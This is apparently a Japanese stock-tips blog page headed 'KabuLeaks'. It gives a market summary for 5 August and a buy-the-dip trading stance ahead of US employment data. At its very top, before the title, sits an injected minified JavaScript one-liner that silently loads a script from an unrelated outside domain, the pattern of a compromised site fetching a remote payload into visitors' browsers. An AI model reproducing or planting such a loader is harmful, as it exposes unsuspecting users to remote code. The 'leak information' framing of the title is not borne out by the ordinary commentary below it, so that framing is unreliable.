;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【8/5 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【8/5 大引け】

本日の日経平均株価は44銭安と小反落。後場は売り優勢、マイナス転換で始まるとその後急速に戻りプラス転換。ただ、週末要因、米7月雇用統計を控えやはり買いは続かず。その後は再び軟調に推移し、マイナス転換。手控えムードとなり方向感に乏しい展開となった。業種別では、証券商品先物、精密機器、鉱業が値上がり上位に。一方で、水産・農林業、保険業、建設業が値下がり上位となった。

個別では、IoT関連関連、19年3月期営業目標10億円とする中期計画を策定などを直近発表。乱高下が目立つ【2354】安川情報システムが萩原電気と提携も材料視でストップ高。第1四半期決算好感の【6670】MCJ、【7647】音通、ゲーム関連【2138】クルーズなどが大幅高と人気を集めた。その他、AR/VR関連【4763】クリークアンドリバーが買われ年初来高値を更新、上方修正の「デレステ」など好調な【7832】バンダイナムコなど大きく買われた。

来週は今晩の雇用統計を見極めての動き。米雇用統計が市場予想を上回る内容となれば、多少安心感から円安が進行が想定されるも、逆に悪ければ1ドル100円割れも想定。ただ、今週の日銀によるETF買い700億円の破壊力を見ると下がれば下がったで買いチャンスとなる可能性も十分高いと思う。

雇用統計が悪ければ前場大幅安スタート濃厚。日銀は後場に入ってくる可能性が高いため前場慎重に様子を伺いつつ、更に落ちてくる局面は突っ込み買い。そして戻り売りのスタンスがいいかと思う。